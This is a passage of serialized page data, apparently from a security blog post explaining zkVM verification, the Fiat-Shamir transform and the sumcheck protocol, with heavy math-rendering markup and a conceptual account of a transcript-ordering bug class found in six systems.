state.",{"type":23,"tag":88,"props":107708,"children":107709},{},[107710],{"type":28,"value":107711},"Check constraint equations at sampled points.",{"type":23,"tag":88,"props":107713,"children":107714},{},[107715],{"type":28,"value":107716},"Check PCS/opening consistency.",{"type":23,"tag":88,"props":107718,"children":107719},{},[107720],{"type":28,"value":107721},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":107723,"children":107724},{},[107725],{"type":23,"tag":197,"props":107726,"children":107729},{"alt":107727,"src":107728},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":107731,"children":107732},{},[107733],{"type":28,"value":107734},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":18031,"props":107736,"children":107737},{},[],{"type":23,"tag":61,"props":107739,"children":107741},{"id":107740},"the-building-blocks",[107742],{"type":28,"value":107743},"The Building Blocks",{"type":23,"tag":24,"props":107745,"children":107746},{},[107747],{"type":28,"value":107748},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":837,"props":107750,"children":107752},{"id":107751},"the-fiat-shamir-transform",[107753],{"type":28,"value":107754},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":107756,"children":107757},{},[107758],{"type":28,"value":107759},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":107761,"children":107762},{},[107763],{"type":28,"value":107764},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":107766,"children":107767},{},[107768],{"type":23,"tag":197,"props":107769,"children":107772},{"alt":107770,"src":107771},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":107774,"children":107775},{},[107776,107778,107782,107784,107789],{"type":28,"value":107777},"The hash (transcript) ",{"type":23,"tag":721,"props":107779,"children":107780},{},[107781],{"type":28,"value":5775},{"type":28,"value":107783}," include everything that affects verification ",{"type":23,"tag":721,"props":107785,"children":107786},{},[107787],{"type":28,"value":107788},"BEFORE",{"type":28,"value":107790}," the challenges derived from it are used.",{"type":23,"tag":24,"props":107792,"children":107793},{},[107794,107796,107822,107824,107849,107851,107876,107878,107903,107905,107930],{"type":28,"value":107795},"If some value ",{"type":23,"tag":94,"props":107797,"children":107799},{"className":107798},[3237,3238],[107800],{"type":23,"tag":314,"props":107801,"children":107803},{"className":107802},[3243],[107804],{"type":23,"tag":314,"props":107805,"children":107807},{"className":107806,"ariaHidden":1481},[3248],[107808],{"type":23,"tag":314,"props":107809,"children":107811},{"className":107810},[3253],[107812,107816],{"type":23,"tag":314,"props":107813,"children":107815},{"className":107814,"style":20820},[3258],[],{"type":23,"tag":314,"props":107817,"children":107819},{"className":107818,"style":107497},[3264,20825],[107820],{"type":28,"value":107821},"V",{"type":28,"value":107823}," affects a verification equation, but ",{"type":23,"tag":94,"props":107825,"children":107827},{"className":107826},[3237,3238],[107828],{"type":23,"tag":314,"props":107829,"children":107831},{"className":107830},[3243],[107832],{"type":23,"tag":314,"props":107833,"children":107835},{"className":107834,"ariaHidden":1481},[3248],[107836],{"type":23,"tag":314,"props":107837,"children":107839},{"className":107838},[3253],[107840,107844],{"type":23,"tag":314,"props":107841,"children":107843},{"className":107842,"style":20820},[3258],[],{"type":23,"tag":314,"props":107845,"children":107847},{"className":107846,"style":107497},[3264,20825],[107848],{"type":28,"value":107821},{"type":28,"value":107850}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":94,"props":107852,"children":107854},{"className":107853},[3237,3238],[107855],{"type":23,"tag":314,"props":107856,"children":107858},{"className":107857},[3243],[107859],{"type":23,"tag":314,"props":107860,"children":107862},{"className":107861,"ariaHidden":1481},[3248],[107863],{"type":23,"tag":314,"props":107864,"children":107866},{"className":107865},[3253],[107867,107871],{"type":23,"tag":314,"props":107868,"children":107870},{"className":107869,"style":20820},[3258],[],{"type":23,"tag":314,"props":107872,"children":107874},{"className":107873,"style":107497},[3264,20825],[107875],{"type":28,"value":107821},{"type":28,"value":107877},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":94,"props":107879,"children":107881},{"className":107880},[3237,3238],[107882],{"type":23,"tag":314,"props":107883,"children":107885},{"className":107884},[3243],[107886],{"type":23,"tag":314,"props":107887,"children":107889},{"className":107888,"ariaHidden":1481},[3248],[107890],{"type":23,"tag":314,"props":107891,"children":107893},{"className":107892},[3253],[107894,107898],{"type":23,"tag":314,"props":107895,"children":107897},{"className":107896,"style":20820},[3258],[],{"type":23,"tag":314,"props":107899,"children":107901},{"className":107900,"style":107497},[3264,20825],[107902],{"type":28,"value":107821},{"type":28,"value":107904},", which may allow it to choose ",{"type":23,"tag":94,"props":107906,"children":107908},{"className":107907},[3237,3238],[107909],{"type":23,"tag":314,"props":107910,"children":107912},{"className":107911},[3243],[107913],{"type":23,"tag":314,"props":107914,"children":107916},{"className":107915,"ariaHidden":1481},[3248],[107917],{"type":23,"tag":314,"props":107918,"children":107920},{"className":107919},[3253],[107921,107925],{"type":23,"tag":314,"props":107922,"children":107924},{"className":107923,"style":20820},[3258],[],{"type":23,"tag":314,"props":107926,"children":107928},{"className":107927,"style":107497},[3264,20825],[107929],{"type":28,"value":107821},{"type":28,"value":107931}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":107933,"children":107934},{},[107935],{"type":28,"value":107936},"This is the bug class we found in all six systems.",{"type":23,"tag":837,"props":107938,"children":107940},{"id":107939},"the-sumcheck-protocol",[107941],{"type":28,"value":107942},"The Sumcheck Protocol",{"type":23,"tag":24,"props":107944,"children":107945},{},[107946,107948,108034],{"type":28,"value":107947},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":94,"props":107949,"children":107951},{"className":107950},[3237,3238],[107952],{"type":23,"tag":314,"props":107953,"children":107955},{"className":107954},[3243],[107956],{"type":23,"tag":314,"props":107957,"children":107959},{"className":107958,"ariaHidden":1481},[3248],[107960],{"type":23,"tag":314,"props":107961,"children":107963},{"className":107962},[3253],[107964,107968,107973,107978,107983,107987,107992],{"type":23,"tag":314,"props":107965,"children":107967},{"className":107966,"style":3365},[3258],[],{"type":23,"tag":314,"props":107969,"children":107971},{"className":107970},[20954],[107972],{"type":28,"value":75870},{"type":23,"tag":314,"props":107974,"children":107976},{"className":107975},[3264],[107977],{"type":28,"value":1600},{"type":23,"tag":314,"props":107979,"children":107981},{"className":107980},[3376],[107982],{"type":28,"value":3379},{"type":23,"tag":314,"props":107984,"children":107986},{"className":107985,"style":3383},[3344],[],{"type":23,"tag":314,"props":107988,"children":107990},{"className":107989},[3264],[107991],{"type":28,"value":3267},{"type":23,"tag":314,"props":107993,"children":107995},{"className":107994},[20976],[107996,108001],{"type":23,"tag":314,"props":107997,"children":107999},{"className":107998},[20976],[108000],{"type":28,"value":33389},{"type":23,"tag":314,"props":108002,"children":108004},{"className":108003},[3280],[108005],{"type":23,"tag":314,"props":108006,"children":108008},{"className":108007},[3285],[108009],{"type":23,"tag":314,"props":108010,"children":108012},{"className":108011},[3290],[108013],{"type":23,"tag":314,"props":108014,"children":108017},{"className":108015,"style":108016},[3295],"height:0.6644em;",[108018],{"type":23,"tag":314,"props":108019,"children":108020},{"style":3299},[108021,108025],{"type":23,"tag":314,"props":108022,"children":108024},{"className":108023,"style":3305},[3304],[],{"type":23,"tag":314,"props":108026,"children":108028},{"className":108027},[3310,3311,3312,3313],[108029],{"type":23,"tag":314,"props":108030,"children":108032},{"className":108031},[3264,20825,3313],[108033],{"type":28,"value":55654},{"type":28,"value":108035},"), i.e the claim:",{"type":23,"tag":24,"props":108037,"children":108038},{},[108039],{"type":23,"tag":94,"props":108040,"children":108042},{"className":108041},[3237,3238],[108043],{"type":23,"tag":314,"props":108044,"children":108046},{"className":108045},[3243],[108047],{"type":23,"tag":314,"props":108048,"children":108050},{"className":108049,"ariaHidden":1481},[3248],[108051,108077],{"type":23,"tag":314,"props":108052,"children":108054},{"className":108053},[3253],[108055,108059,108064,108068,108073],{"type":23,"tag":314,"props":108056,"children":108058},{"className":108057,"style":20820},[3258],[],{"type":23,"tag":314,"props":108060,"children":108062},{"className":108061,"style":92533},[3264,20825],[108063],{"type":28,"value":92536},{"type":23,"tag":314,"props":108065,"children":108067},{"className":108066,"style":3442},[3344],[],{"type":23,"tag":314,"props":108069,"children":108071},{"className":108070},[3447],[108072],{"type":28,"value":1102},{"type":23,"tag":314,"props":108074,"children":108076},{"className":108075,"style":3442},[3344],[],{"type":23,"tag":314,"props":108078,"children":108080},{"className":108079},[3253],[108081,108085,108235,108239,108382,108386,108393,108397,108541,108545,108551,108556,108613,108618,108622,108679,108684,108688,108694,108698,108703,108707,108765],{"type":23,"tag":314,"props":108082,"children":108084},{"className":108083,"style":20856},[3258],[],{"type":23,"tag":314,"props":108086,"children":108088},{"className":108087},[20861],[108089,108095],{"type":23,"tag":314,"props":108090,"children":108092},{"className":108091,"style":20868},[20861,20866,20867],[108093],{"type":28,"value":108094},"∑",{"type":23,"tag":314,"props":108096,"children":108098},{"className":108097},[3280],[108099],{"type":23,"tag":314,"props":108100,"children":108102},{"className":108101},[3285,20879],[108103,108224],{"type":23,"tag":314,"props":108104,"children":108106},{"className":108105},[3290],[108107,108219],{"type":23,"tag":314,"props":108108,"children":108110},{"className":108109,"style":20888},[3295],[108111],{"type":23,"tag":314,"props":108112,"children":108113},{"style":20892},[108114,108118],{"type":23,"tag":314,"props":108115,"children":108117},{"className":108116,"style":3305},[3304],[],{"type":23,"tag":314,"props":108119,"children":108121},{"className":108120},[3310,3311,3312,3313],[108122],{"type":23,"tag":314,"props":108123,"children":108125},{"className":108124},[3264,3313],[108126,108189,108194,108199,108204,108209,108214],{"type":23,"tag":314,"props":108127,"children":108129},{"className":108128},[3264,3313],[108130,108135],{"type":23,"tag":314,"props":108131,"children":108133},{"className":108132},[3264,20825,3313],[108134],{"type":28,"value":18514},{"type":23,"tag":314,"props":108136,"children":108138},{"className":108137},[3280],[108139],{"type":23,"tag":314,"props":108140,"children":108142},{"className":108141},[3285,20879],[108143,108177],{"type":23,"tag":314,"props":108144,"children":108146},{"className":108145},[3290],[108147,108172],{"type":23,"tag":314,"props":108148,"children":108151},{"className":108149,"style":108150},[3295],"height:0.3173em;",[108152],{"type":23,"tag":314,"props":108153,"children":108155},{"style":108154},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108156,108161],{"type":23,"tag":314,"props":108157,"children":108160},{"className":108158,"style":108159},[3304],"height:2.5em;",[],{"type":23,"tag":314,"props":108162,"children":108166},{"className":108163},[3310,108164,108165,3313],"reset-size3","size1",[108167],{"type":23,"tag":314,"props":108168,"children":108170},{"className":108169},[3264,3313],[108171],{"type":28,"value":3267},{"type":23,"tag":314,"props":108173,"children":108175},{"className":108174},[20982],[108176],{"type":28,"value":20985},{"type":23,"tag":314,"props":108178,"children":108180},{"className":108179},[3290],[108181],{"type":23,"tag":314,"props":108182,"children":108185},{"className":108183,"style":108184},[3295],"height:0.143em;",[108186],{"type":23,"tag":314,"props":108187,"children":108188},{},[],{"type":23,"tag":314,"props":108190,"children":108192},{"className":108191},[3447,3313],[108193],{"type":28,"value":20932},{"type":23,"tag":314,"props":108195,"children":108197},{"className":108196},[20954,3313],[108198],{"type":28,"value":75870},{"type":23,"tag":314,"props":108200,"children":108202},{"className":108201},[3264,3313],[108203],{"type":28,"value":1600},{"type":23,"tag":314,"props":108205,"children":108207},{"className":108206},[3376,3313],[108208],{"type":28,"value":3379},{"type":23,"tag":314,"props":108210,"children":108212},{"className":108211},[3264,3313],[108213],{"type":28,"value":3267},{"type":23,"tag":314,"props":108215,"children":108217},{"className":108216},[20976,3313],[108218],{"type":28,"value":33389},{"type":23,"tag":314,"props":108220,"children":108222},{"className":108221},[20982],[108223],{"type":28,"value":20985},{"type":23,"tag":314,"props":108225,"children":108227},{"className":108226},[3290],[108228],{"type":23,"tag":314,"props":108229,"children":108231},{"className":108230,"style":20993},[3295],[108232],{"type":23,"tag":314,"props":108233,"children":108234},{},[],{"type":23,"tag":314,"props":108236,"children":108238},{"className":108237,"style":3383},[3344],[],{"type":23,"tag":314,"props":108240,"children":108242},{"className":108241},[20861],[108243,108248],{"type":23,"tag":314,"props":108244,"children":108246},{"className":108245,"style":20868},[20861,20866,20867],[108247],{"type":28,"value":108094},{"type":23,"tag":314,"props":108249,"children":108251},{"className":108250},[3280],[108252],{"type":23,"tag":314,"props":108253,"children":108255},{"className":108254},[3285,20879],[108256,108371],{"type":23,"tag":314,"props":108257,"children":108259},{"className":108258},[3290],[108260,108366],{"type":23,"tag":314,"props":108261,"children":108263},{"className":108262,"style":20888},[3295],[108264],{"type":23,"tag":314,"props":108265,"children":108266},{"style":20892},[108267,108271],{"type":23,"tag":314,"props":108268,"children":108270},{"className":108269,"style":3305},[3304],[],{"type":23,"tag":314,"props":108272,"children":108274},{"className":108273},[3310,3311,3312,3313],[108275],{"type":23,"tag":314,"props":108276,"children":108278},{"className":108277},[3264,3313],[108279,108336,108341,108346,108351,108356,108361],{"type":23,"tag":314,"props":108280,"children":108282},{"className":108281},[3264,3313],[108283,108288],{"type":23,"tag":314,"props":108284,"children":108286},{"className":108285},[3264,20825,3313],[108287],{"type":28,"value":18514},{"type":23,"tag":314,"props":108289,"children":108291},{"className":108290},[3280],[108292],{"type":23,"tag":314,"props":108293,"children":108295},{"className":108294},[3285,20879],[108296,108325],{"type":23,"tag":314,"props":108297,"children":108299},{"className":108298},[3290],[108300,108320],{"type":23,"tag":314,"props":108301,"children":108303},{"className":108302,"style":108150},[3295],[108304],{"type":23,"tag":314,"props":108305,"children":108306},{"style":108154},[108307,108311],{"type":23,"tag":314,"props":108308,"children":108310},{"className":108309,"style":108159},[3304],[],{"type":23,"tag":314,"props":108312,"children":108314},{"className":108313},[3310,108164,108165,3313],[108315],{"type":23,"tag":314,"props":108316,"children":108318},{"className":108317},[3264,3313],[108319],{"type":28,"value":2378},{"type":23,"tag":314,"props":108321,"children":108323},{"className":108322},[20982],[108324],{"type":28,"value":20985},{"type":23,"tag":314,"props":108326,"children":108328},{"className":108327},[3290],[108329],{"type":23,"tag":314,"props":108330,"children":108332},{"className":108331,"style":108184},[3295],[108333],{"type":23,"tag":314,"props":108334,"children":108335},{},[],{"type":23,"tag":314,"props":108337,"children":108339},{"className":108338},[3447,3313],[108340],{"type":28,"value":20932},{"type":23,"tag":314,"props":108342,"children":108344},{"className":108343},[20954,3313],[108345],{"type":28,"value":75870},{"type":23,"tag":314,"props":108347,"children":108349},{"className":108348},[3264,3313],[108350],{"type":28,"value":1600},{"type":23,"tag":314,"props":108352,"children":108354},{"className":108353},[3376,3313],[108355],{"type":28,"value":3379},{"type":23,"tag":314,"props":108357,"children":108359},{"className":108358},[3264,3313],[108360],{"type":28,"value":3267},{"type":23,"tag":314,"props":108362,"children":108364},{"className":108363},[20976,3313],[108365],{"type":28,"value":33389},{"type":23,"tag":314,"props":108367,"children":108369},{"className":108368},[20982],[108370],{"type":28,"value":20985},{"type":23,"tag":314,"props":108372,"children":108374},{"className":108373},[3290],[108375],{"type":23,"tag":314,"props":108376,"children":108378},{"className":108377,"style":20993},[3295],[108379],{"type":23,"tag":314,"props":108380,"children":108381},{},[],{"type":23,"tag":314,"props":108383,"children":108385},{"className":108384,"style":3383},[3344],[],{"type":23,"tag":314,"props":108387,"children":108390},{"className":108388},[108389],"minner",[108391],{"type":28,"value":108392},"⋯",{"type":23,"tag":314,"props":108394,"children":108396},{"className":108395,"style":3383},[3344],[],{"type":23,"tag":314,"props":108398,"children":108400},{"className":108399},[20861],[108401,108406],{"type":23,"tag":314,"props":108402,"children":108404},{"className":108403,"style":20868},[20861,20866,20867],[108405],{"type":28,"value":108094},{"type":23,"tag":314,"props":108407,"children":108409},{"className":108408},[3280],[108410],{"type":23,"tag":314,"props":108411,"children":108413},{"className":108412},[3285,20879],[108414,108530],{"type":23,"tag":314,"props":108415,"children":108417},{"className":108416},[3290],[108418,108525],{"type":23,"tag":314,"props":108419,"children":108421},{"className":108420,"style":20888},[3295],[108422],{"type":23,"tag":314,"props":108423,"children":108424},{"style":20892},[108425,108429],{"type":23,"tag":314,"props":108426,"children":108428},{"className":108427,"style":3305},[3304],[],{"type":23,"tag":314,"props":108430,"children":108432},{"className":108431},[3310,3311,3312,3313],[108433],{"type":23,"tag":314,"props":108434,"children":108436},{"className":108435},[3264,3313],[108437,108495,108500,108505,108510,108515,108520],{"type":23,"tag":314,"props":108438,"children":108440},{"className":108439},[3264,3313],[108441,108446],{"type":23,"tag":314,"props":108442,"children":108444},{"className":108443},[3264,20825,3313],[108445],{"type":28,"value":18514},{"type":23,"tag":314,"props":108447,"children":108449},{"className":108448},[3280],[108450],{"type":23,"tag":314,"props":108451,"children":108453},{"className":108452},[3285,20879],[108454,108484],{"type":23,"tag":314,"props":108455,"children":108457},{"className":108456},[3290],[108458,108479],{"type":23,"tag":314,"props":108459,"children":108462},{"className":108460,"style":108461},[3295],"height:0.1645em;",[108463],{"type":23,"tag":314,"props":108464,"children":108465},{"style":108154},[108466,108470],{"type":23,"tag":314,"props":108467,"children":108469},{"className":108468,"style":108159},[3304],[],{"type":23,"tag":314,"props":108471,"children":108473},{"className":108472},[3310,108164,108165,3313],[108474],{"type":23,"tag":314,"props":108475,"children":108477},{"className":108476},[3264,20825,3313],[108478],{"type":28,"value":55654},{"type":23,"tag":314,"props":108480,"children":108482},{"className":108481},[20982],[108483],{"type":28,"value":20985},{"type":23,"tag":314,"props":108485,"children":108487},{"className":108486},[3290],[108488],{"type":23,"tag":314,"props":108489,"children":108491},{"className":108490,"style":108184},[3295],[108492],{"type":23,"tag":314,"props":108493,"children":108494},{},[],{"type":23,"tag":314,"props":108496,"children":108498},{"className":108497},[3447,3313],[108499],{"type":28,"value":20932},{"type":23,"tag":314,"props":108501,"children":108503},{"className":108502},[20954,3313],[108504],{"type":28,"value":75870},{"type":23,"tag":314,"props":108506,"children":108508},{"className":108507},[3264,3313],[108509],{"type":28,"value":1600},{"type":23,"tag":314,"props":108511,"children":108513},{"className":108512},[3376,3313],[108514],{"type":28,"value":3379},{"type":23,"tag":314,"props":108516,"children":108518},{"className":108517},[3264,3313],[108519],{"type":28,"value":3267},{"type":23,"tag":314,"props":108521,"children":108523},{"className":108522},[20976,3313],[108524],{"type":28,"value":33389},{"type":23,"tag":314,"props":108526,"children":108528},{"className":108527},[20982],[108529],{"type":28,"value":20985},{"type":23,"tag":314,"props":108531,"children":108533},{"className":108532},[3290],[108534],{"type":23,"tag":314,"props":108535,"children":108537},{"className":108536,"style":20993},[3295],[108538],{"type":23,"tag":314,"props":108539,"children":108540},{},[],{"type":23,"tag":314,"props":108542,"children":108544},{"className":108543,"style":3383},[3344],[],{"type":23,"tag":314,"props":108546,"children":108548},{"className":108547,"style":92785},[3264,20825],[108549],{"type":28,"value":108550},"g",{"type":23,"tag":314,"props":108552,"children":108554},{"className":108553},[20954],[108555],{"type":28,"value":341},{"type":23,"tag":314,"props":108557,"children":108559},{"className":108558},[3264],[108560,108565],{"type":23,"tag":314,"props":108561,"children":108563},{"className":108562},[3264,20825],[108564],{"type":28,"value":18514},{"type":23,"tag":314,"props":108566,"children":108568},{"className":108567},[3280],[108569],{"type":23,"tag":314,"props":108570,"children":108572},{"className":108571},[3285,20879],[108573,108602],{"type":23,"tag":314,"props":108574,"children":108576},{"className":108575},[3290],[108577,108597],{"type":23,"tag":314,"props":108578,"children":108580},{"className":108579,"style":92351},[3295],[108581],{"type":23,"tag":314,"props":108582,"children":108583},{"style":92355},[108584,108588],{"type":23,"tag":314,"props":108585,"children":108587},{"className":108586,"style":3305},[3304],[],{"type":23,"tag":314,"props":108589,"children":108591},{"className":108590},[3310,3311,3312,3313],[108592],{"type":23,"tag":314,"props":108593,"children":108595},{"className":108594},[3264,3313],[108596],{"type":28,"value":3267},{"type":23,"tag":314,"props":108598,"children":108600},{"className":108599},[20982],[108601],{"type":28,"value":20985},{"type":23,"tag":314,"props":108603,"children":108605},{"className":108604},[3290],[108606],{"type":23,"tag":314,"props":108607,"children":108609},{"className":108608,"style":92382},[3295],[108610],{"type":23,"tag":314,"props":108611,"children":108612},{},[],{"type":23,"tag":314,"props":108614,"children":108616},{"className":108615},[3376],[108617],{"type":28,"value":3379},{"type":23,"tag":314,"props":108619,"children":108621},{"className":108620,"style":3383},[3344],[],{"type":23,"tag":314,"props":108623,"children":108625},{"className":108624},[3264],[108626,108631],{"type":23,"tag":314,"props":108627,"children":108629},{"className":108628},[3264,20825],[108630],{"type":28,"value":18514},{"type":23,"tag":314,"props":108632,"children":108634},{"className":108633},[3280],[108635],{"type":23,"tag":314,"props":108636,"children":108638},{"className":108637},[3285,20879],[108639,108668],{"type":23,"tag":314,"props":108640,"children":108642},{"className":108641},[3290],[108643,108663],{"type":23,"tag":314,"props":108644,"children":108646},{"className":108645,"style":92351},[3295],[108647],{"type":23,"tag":314,"props":108648,"children":108649},{"style":92355},[108650,108654],{"type":23,"tag":314,"props":108651,"children":108653},{"className":108652,"style":3305},[3304],[],{"type":23,"tag":314,"props":108655,"children":108657},{"className":108656},[3310,3311,3312,3313],[108658],{"type":23,"tag":314,"props":108659,"children":108661},{"className":108660},[3264,3313],[108662],{"type":28,"value":2378},{"type":23,"tag":314,"props":108664,"children":108666},{"className":108665},[20982],[108667],{"type":28,"value":20985},{"type":23,"tag":314,"props":108669,"children":108671},{"className":108670},[3290],[108672],{"type":23,"tag":314,"props":108673,"children":108675},{"className":108674,"style":92382},[3295],[108676],{"type":23,"tag":314,"props":108677,"children":108678},{},[],{"type":23,"tag":314,"props":108680,"children":108682},{"className":108681},[3376],[108683],{"type":28,"value":3379},{"type":23,"tag":314,"props":108685,"children":108687},{"className":108686,"style":3383},[3344],[],{"type":23,"tag":314,"props":108689,"children":108691},{"className":108690},[108389],[108692],{"type":28,"value":108693},"…",{"type":23,"tag":314,"props":108695,"children":108697},{"className":108696,"style":3383},[3344],[],{"type":23,"tag":314,"props":108699,"children":108701},{"className":108700},[3376],[108702],{"type":28,"value":3379},{"type":23,"tag":314,"props":108704,"children":108706},{"className":108705,"style":3383},[3344],[],{"type":23,"tag":314,"props":108708,"children":108710},{"className":108709},[3264],[108711,108716],{"type":23,"tag":314,"props":108712,"children":108714},{"className":108713},[3264,20825],[108715],{"type":28,"value":18514},{"type":23,"tag":314,"props":108717,"children":108719},{"className":108718},[3280],[108720],{"type":23,"tag":314,"props":108721,"children":108723},{"className":108722},[3285,20879],[108724,108754],{"type":23,"tag":314,"props":108725,"children":108727},{"className":108726},[3290],[108728,108749],{"type":23,"tag":314,"props":108729,"children":108732},{"className":108730,"style":108731},[3295],"height:0.1514em;",[108733],{"type":23,"tag":314,"props":108734,"children":108735},{"style":92355},[108736,108740],{"type":23,"tag":314,"props":108737,"children":108739},{"className":108738,"style":3305},[3304],[],{"type":23,"tag":314,"props":108741,"children":108743},{"className":108742},[3310,3311,3312,3313],[108744],{"type":23,"tag":314,"props":108745,"children":108747},{"className":108746},[3264,20825,3313],[108748],{"type":28,"value":55654},{"type":23,"tag":314,"props":108750,"children":108752},{"className":108751},[20982],[108753],{"type":28,"value":20985},{"type":23,"tag":314,"props":108755,"children":108757},{"className":108756},[3290],[108758],{"type":23,"tag":314,"props":108759,"children":108761},{"className":108760,"style":92382},[3295],[108762],{"type":23,"tag":314,"props":108763,"children":108764},{},[],{"type":23,"tag":314,"props":108766,"children":108768},{"className":108767},[20976],[108769],{"type":28,"value":431},{"type":23,"tag":24,"props":108771,"children":108772},{},[108773,108775,108836],{"type":28,"value":108774},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":94,"props":108776,"children":108778},{"className":108777},[3237,3238],[108779],{"type":23,"tag":314,"props":108780,"children":108782},{"className":108781},[3243],[108783],{"type":23,"tag":314,"props":108784,"children":108786},{"className":108785,"ariaHidden":1481},[3248],[108787],{"type":23,"tag":314,"props":108788,"children":108790},{"className":108789},[3253],[108791,108795],{"type":23,"tag":314,"props":108792,"children":108794},{"className":108793,"style":108016},[3258],[],{"type":23,"tag":314,"props":108796,"children":108798},{"className":108797},[3264],[108799,108804],{"type":23,"tag":314,"props":108800,"children":108802},{"className":108801},[3264],[108803],{"type":28,"value":2378},{"type":23,"tag":314,"props":108805,"children":108807},{"className":108806},[3280],[108808],{"type":23,"tag":314,"props":108809,"children":108811},{"className":108810},[3285],[108812],{"type":23,"tag":314,"props":108813,"children":108815},{"className":108814},[3290],[108816],{"type":23,"tag":314,"props":108817,"children":108819},{"className":108818,"style":108016},[3295],[108820],{"type":23,"tag":314,"props":108821,"children":108822},{"style":3299},[108823,108827],{"type":23,"tag":314,"props":108824,"children":108826},{"className":108825,"style":3305},[3304],[],{"type":23,"tag":314,"props":108828,"children":108830},{"className":108829},[3310,3311,3312,3313],[108831],{"type":23,"tag":314,"props":108832,"children":108834},{"className":108833},[3264,20825,3313],[108835],{"type":28,"value":55654},{"type":28,"value":108837}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":108839,"children":108840},{},[108841,108843,108848],{"type":28,"value":108842},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":721,"props":108844,"children":108845},{},[108846],{"type":28,"value":108847},"only one",{"type":28,"value":282},{"type":23,"tag":24,"props":108850,"children":108851},{},[108852],{"type":23,"tag":197,"props":108853,"children":108856},{"alt":108854,"src":108855},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":108858,"children":108859},{},[108860,108862,108954,108956,109141,109143,109168,109170,109248,109250,109329],{"type":28,"value":108861},"In each round, the prover must send a polynomial ",{"type":23,"tag":94,"props":108863,"children":108865},{"className":108864},[3237,3238],[108866],{"type":23,"tag":314,"props":108867,"children":108869},{"className":108868},[3243],[108870],{"type":23,"tag":314,"props":108871,"children":108873},{"className":108872,"ariaHidden":1481},[3248],[108874],{"type":23,"tag":314,"props":108875,"children":108877},{"className":108876},[3253],[108878,108882,108939,108944,108949],{"type":23,"tag":314,"props":108879,"children":108881},{"className":108880,"style":3365},[3258],[],{"type":23,"tag":314,"props":108883,"children":108885},{"className":108884},[3264],[108886,108891],{"type":23,"tag":314,"props":108887,"children":108889},{"className":108888,"style":92785},[3264,20825],[108890],{"type":28,"value":108550},{"type":23,"tag":314,"props":108892,"children":108894},{"className":108893},[3280],[108895],{"type":23,"tag":314,"props":108896,"children":108898},{"className":108897},[3285,20879],[108899,108928],{"type":23,"tag":314,"props":108900,"children":108902},{"className":108901},[3290],[108903,108923],{"type":23,"tag":314,"props":108904,"children":108906},{"className":108905,"style":92828},[3295],[108907],{"type":23,"tag":314,"props":108908,"children":108909},{"style":92832},[108910,108914],{"type":23,"tag":314,"props":108911,"children":108913},{"className":108912,"style":3305},[3304],[],{"type":23,"tag":314,"props":108915,"children":108917},{"className":108916},[3310,3311,3312,3313],[108918],{"type":23,"tag":314,"props":108919,"children":108921},{"className":108920},[3264,20825,3313],[108922],{"type":28,"value":2993},{"type":23,"tag":314,"props":108924,"children":108926},{"className":108925},[20982],[108927],{"type":28,"value":20985},{"type":23,"tag":314,"props":108929,"children":108931},{"className":108930},[3290],[108932],{"type":23,"tag":314,"props":108933,"children":108935},{"className":108934,"style":92382},[3295],[108936],{"type":23,"tag":314,"props":108937,"children":108938},{},[],{"type":23,"tag":314,"props":108940,"children":108942},{"className":108941},[20954],[108943],{"type":28,"value":341},{"type":23,"tag":314,"props":108945,"children":108947},{"className":108946,"style":94319},[3264,20825],[108948],{"type":28,"value":5388},{"type":23,"tag":314,"props":108950,"children":108952},{"className":108951},[20976],[108953],{"type":28,"value":431},{"type":28,"value":108955}," such that ",{"type":23,"tag":94,"props":108957,"children":108959},{"className":108958},[3237,3238],[108960],{"type":23,"tag":314,"props":108961,"children":108963},{"className":108962},[3243],[108964],{"type":23,"tag":314,"props":108965,"children":108967},{"className":108966,"ariaHidden":1481},[3248],[108968,109061],{"type":23,"tag":314,"props":108969,"children":108971},{"className":108970},[3253],[108972,108976,109033,109038,109043,109048,109052,109057],{"type":23,"tag":314,"props":108973,"children":108975},{"className":108974,"style":3365},[3258],[],{"type":23,"tag":314,"props":108977,"children":108979},{"className":108978},[3264],[108980,108985],{"type":23,"tag":314,"props":108981,"children":108983},{"className":108982,"style":92785},[3264,20825],[108984],{"type":28,"value":108550},{"type":23,"tag":314,"props":108986,"children":108988},{"className":108987},[3280],[108989],{"type":23,"tag":314,"props":108990,"children":108992},{"className":108991},[3285,20879],[108993,109022],{"type":23,"tag":314,"props":108994,"children":108996},{"className":108995},[3290],[108997,109017],{"type":23,"tag":314,"props":108998,"children":109000},{"className":108999,"style":92828},[3295],[109001],{"type":23,"tag":314,"props":109002,"children":109003},{"style":92832},[109004,109008],{"type":23,"tag":314,"props":109005,"children":109007},{"className":109006,"style":3305},[3304],[],{"type":23,"tag":314,"props":109009,"children":109011},{"className":109010},[3310,3311,3312,3313],[109012],{"type":23,"tag":314,"props":109013,"children":109015},{"className":109014},[3264,20825,3313],[109016],{"type":28,"value":2993},{"type":23,"tag":314,"props":109018,"children":109020},{"className":109019},[20982],[109021],{"type":28,"value":20985},{"type":23,"tag":314,"props":109023,"children":109025},{"className":109024},[3290],[109026],{"type":23,"tag":314,"props":109027,"children":109029},{"className":